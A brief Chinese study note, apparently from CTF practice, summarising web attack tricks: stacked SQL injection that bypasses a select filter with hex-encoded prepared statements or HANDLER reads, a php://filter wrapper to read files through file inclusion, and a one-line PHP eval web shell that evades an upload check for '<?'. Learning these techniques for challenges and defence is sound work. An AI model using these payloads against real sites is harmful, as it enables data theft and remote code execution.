学习小结8.25

1.堆叠注入能够到列，再要出详细的数据需要构造select语句，如果select被正则匹配拦下，考虑使用

';set@a=16进制编码的查询语句(例如：select * from 表名);prepare execsql from @a;execute execsql;--+

或者

';handler 表名 open as a;handler a read next;--+

2.文件包含中的文件隐藏的flag，使用伪协议做包含

php://filter/convert.base64-encode/resource=文件名

3.文件上传对于<?的检测

可以使用<script language="php">eval($_POST['a'])</script>绕过